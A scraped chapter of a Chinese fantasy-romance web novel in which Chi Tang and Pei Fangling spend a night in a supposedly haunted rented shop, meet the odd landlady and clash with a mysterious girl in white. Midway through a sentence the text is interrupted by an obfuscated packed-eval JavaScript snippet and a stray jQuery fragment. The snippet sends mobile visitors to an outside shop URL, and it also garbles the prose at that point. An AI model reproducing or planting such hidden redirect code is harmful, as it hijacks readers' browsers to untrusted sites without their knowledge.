池棠浑身上下的血瞬间僵凝,这时候才知道人在真正恐惧的时候是发不出声音的。
那只鞋头在幽幽的月光里一晃,弯腰,伸出手抓起碗里的其中一只馒头。
接着池棠听到了非常耳熟的嗤笑。
“郭,郭老太太?”
后门处那个人影已经清晰可见,正是佝偻着腰的郭老太。
“您怎么在这里?”池棠心口突突直跳,心道要是郭老太再迟一步出来她就要动手了。
正好此时裴方翎从另一个方向回来,三人的视线在空荡荡的房屋中交汇。
“你是谁?”
裴方翎没有见过郭老太,脸上的警惕毫不掩饰。
老太哼一声,转向池棠:“这是我的屋子,我不能来?”一边说一边啃了口馒头。
“还有,下次馒头用热乎的,这都放凉了,咬着咯牙。”
看她豪迈的动作,就知道她没少干过这种和鬼抢吃的事情。
池棠:“......您走路怎么都没声儿呢,差点吓死我了。小裴,这位是房东太太,不用紧张。”
裴方翎这才重新退后到池棠身后。
有那么一段时间,池棠不知道该怎么打破僵局。
这位彪悍古怪的老太太从各方面都超乎了她的认知。
“您要不要坐着吃?”池棠险些咬了自己的舌头,她指向的那张椅子上面还有小老鼠的骨架。
年久失修的屋子就是这副摸样,灰尘满地,遍地残渣,仿佛连空气里都带着老旧的潮气,郭老太不说话,机械地咀嚼着手里的馒头,没有要说话的意思,池棠也只好保持沉默。
直到老太咽掉最后一口馒头,垂下眼睛,已经浑浊的瞳孔中映出那盆残灰,接着又将目光徐徐地落在姐弟俩身上:“天干物燥,小心火烛。”
她已经活了五十六岁,半辈子,见了不知道多少个人。
人人都说她这双眼睛又老又花,可他们哪里知道,又老又花的眼睛什么都看得见呢。
她说完头也不回地走了。,弄得池棠一头雾水:“啊?她这是什么意思?我这火盆都熄了呀。”
裴方翎:“......我没有察觉到她。”
老人的气息微弱,他方才又被别的事情分了心,竟然没有留意到还有第三个人进了院子。
“用不着自责,这里本来就是人家的屋子,熟门熟路也正常,你又不是神仙怎么能眼观六路呢?明天要上课了,早点休息吧。”
池棠说完在地上扫开一处干净地方,铺上被单:“今晚就先这么将就着睡吧,等今晚过去没事了就好了。”
“姐姐是在验证这里闹不闹鬼吗?”
“嗯,毕竟这里的铺租便宜嘛。”池棠两手托腮,眼睛望着窗棂外的灯火,“谁让你姐姐我是穷鬼呢。”
“这里没有邪祟的气息,很干净。”
“唔?你怎么知道?”池棠转头看向盘腿坐在身边的少年,他去后面调息了一会儿,应当已经把气息捋顺了,整个人都轻松下来。
“妖、鬼、怪乃是天地间阴气所凝结之物,而修士的灵力或者真气主阳,阴阳相生相引相长,所以有灵根的人对这些神鬼之事都比较敏感。这间屋子虽然带着潮气,可这是因为久无人居,并非阴物所致。”
“那就好那就好!”池棠松了一口气。
裴方翎又说:“不过这房东性子也太古怪了。”
“管她呢,咱们是租她的铺子做生意,又不是和她住在一起,古怪就古怪些呗,她可是愿意三百文就把这间铺子租给我诶。”
池棠得意洋洋地晃着三根手指,眼睛里好像有一个鼻子翘上天的小人要跳出来似的。
她仰面躺在自己的被单上:“三百文。打着灯笼也找不着呢,不过既然这里没有闹鬼,老太太怎么一直留在手上不租,还谎称有鬼呢?还真是个十足古怪的家伙。”
池棠喃喃自语着,不知不觉间有些困了,眼皮越变越重,和裴方翎有一搭没一搭聊着,不知不觉睡了过去。
大瓦子种种声浪为门扉所阻挡,渐次暗沉下去,最后一声铜锣消失,裴方翎听见了江对岸寺庙的钟声,已时过三更。
夜到了最深的时候,他却毫无睡意,侧躺着身子,曲起胳膊垫在脑袋之下,微微垂着眸子,眼底倒映着姐姐素白的脸庞。
六年前他们在小桃村的家也是这样的荒破房子,甚至更加差劲,充其量只能算是有草的棚顶。
只有十几岁的他们开始做豆腐,结果出摊第一天,池棠的摊子就被掀翻了,身上的钱也被抢劫一空。报了官,官府不管这些小事。
豆腐摊子是池棠攒了很久的钱才打造出来的,一夜之间,她又什么都没有了。
那天晚上下了很大的雷雨,池棠沉默着一遍又一遍把为数不多的几个瓦罐擦了又擦,而他则在一旁想了又想。
他是北境的王,拥有不可计数的财富。圣宫里的每一块砖瓦都是汉白玉,每一寸地面都铺设昂贵的褶兰绒,这种毯子只用小骆驼身上的绒毛,一寸千金。
那里温暖、富庶、舒适,只要他向池棠坦白一切,他们都不必再如此艰辛的谋生——
但这也意味着他从此要失去他的身份,不再是池棠唯一的家人,而是一个陌生人。
这是一个弥天大谎,裴方翎不知道拆穿它会来带什么后果。
所以他纠结着,他不想她吃苦,又不想失去如今的身份。
他在等,等一个最合适的时机,或许是个池棠无路可去的绝境时分。
但是最后他没有等到,池棠最让他倾慕的品质大概就是那股永远不服输的冲劲。
那天晚上池棠把罐子擦了又擦,突然咚得一下重重砸在桌面上,然后冲进电闪雷鸣的雨幕中。
“你这个欺软怕硬的怂包!等着我把你打趴下吧!王——八——蛋!”
雨水打湿了她的头发,脸庞,顺着小腿往下淌,风声呼啸,电光如火,池棠手指着天空,分明手无寸铁,却像有千军万马站在身后。
裴方翎想那个瞬间所有人都会爱上她吧。
两人清浅的呼吸交错,裴方翎抬起手掌,蜻蜓点水般落在,指尖摁住池棠一缕乌黑的发尾。他轻轻地勾起,绕开,挂到池棠耳后。
池棠不耐烦地皱了皱眉,嘟囔一声转了个身子。
两人之间的距离骤然拉远,微凉的风进来,吹散了那点潮潮的水汽,温度微降。
这变化极其轻微,如果不是裴方翎这样对周围环境有很敏感感知的人,几乎无法察觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771315|209356||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到。
有一些不干不净的人混了进来。
他悄悄地起身,脱下外衣,罩在池棠身上。
带着法力的外衣闪烁一下,在池棠身外形成了一层保护的屏障,只要他不死,就没有邪祟能够影响到她。
“睡吧,不会有事的。”裴方翎指尖划过少女丰盈的嘴唇,落在唇珠处微微用了一些力气。
池棠恍若未觉。
这间屋子里当然没有鬼,倒是有装神弄鬼的人,且从方才波动的风来看,对方也是位高手。
“出来吧,躲躲藏藏多没意思。”裴方翎随手拿起一根竹竿,在手里掂了掂。
正对着的后门处依然是台阶和碗,只是碗里已经空空如也,最后一只馒头也不翼而飞。
是刚才那个人把它拿走了。
裴方翎垂下眼睫,灵力无声释放。
无形的灵力形成密集的丝线网络,渗入这栋屋子里的砖砖瓦瓦,再轻微的声音都被几倍地放大,裴方翎听见角落里传来咀嚼的声音,如有实质的目光同样落在他的身上。
对方不怕他,还在啃馒头,这是挑衅他吗?
裴方翎忽然来了兴致,已经很久没有人敢再这么对他了。
他松松手腕,这是他动真格之前的惯例,藏身在暗处的九等人立刻通过识海传音询问是否包围。
裴方翎拒绝了,对方还没有强到需要众人一起出手的程度。
【你们留在这里保护池棠。】
裴方翎简单地下了命令,横棍出击,快准狠地击中了帷幕,布条清脆撕裂,背后空无一人。
暗处的九等人都有些诧异,能躲开主人一击的人可不常见,这人什么来头?
“慢。”空灵的声音从背后响起,裴方翎没有犹豫,转身掷棍,咚得一下嵌入墙壁。
悬挂的帷幕因暴力撕扯坠落,察觉到背后之人要逃,裴方翎果断召唤本命剑打出剑气。
对方速度不在他之下,帷幕破落的瞬间,他只来得及看见对方一角露出的白裙白鞋。
结合之前池棠所说的闹鬼,想来就是这个人在此地装神弄鬼。
裴方翎素来不喜欢多管闲事,也十分尊重别人一些古怪的爱好。
但现在这处宅子是池棠想要的,那就得麻烦这位姑娘到别的地方去了!
打定了赶走这家伙的主意,裴方翎改变策略,打算活捉此人然后威胁其离开。
裴方翎旋身收剑,五指撑地。
那些本无形无声的灵丝突然同时亮起,整座厅堂宛若一座发光的牢笼,而丝线的收束点,不偏不倚,正在那女子脚下。
“收!”裴方翎拳头收紧,丝线咻地一声,极速闭拢。
千万根丝线如同牢狱的栅栏,一旦被关在其中就像进入了笼子,就算是凤凰也不可能再飞出去。
少女似乎被威慑住了,停下脚步,半是迷茫半是无助地看着从头顶压下来的光栅。
“你,好讨厌。”
裴方翎眉峰一紧,原本志在必得的瞳孔突然一松,那瞬间,无数雪粒似的光点划过他的身边。
少女跑了,在他的眼皮子底下击碎了他的牢笼飘然而去。
在她转身的刹那,就着灵丝的光,裴方翎看见她眉心一点红痣。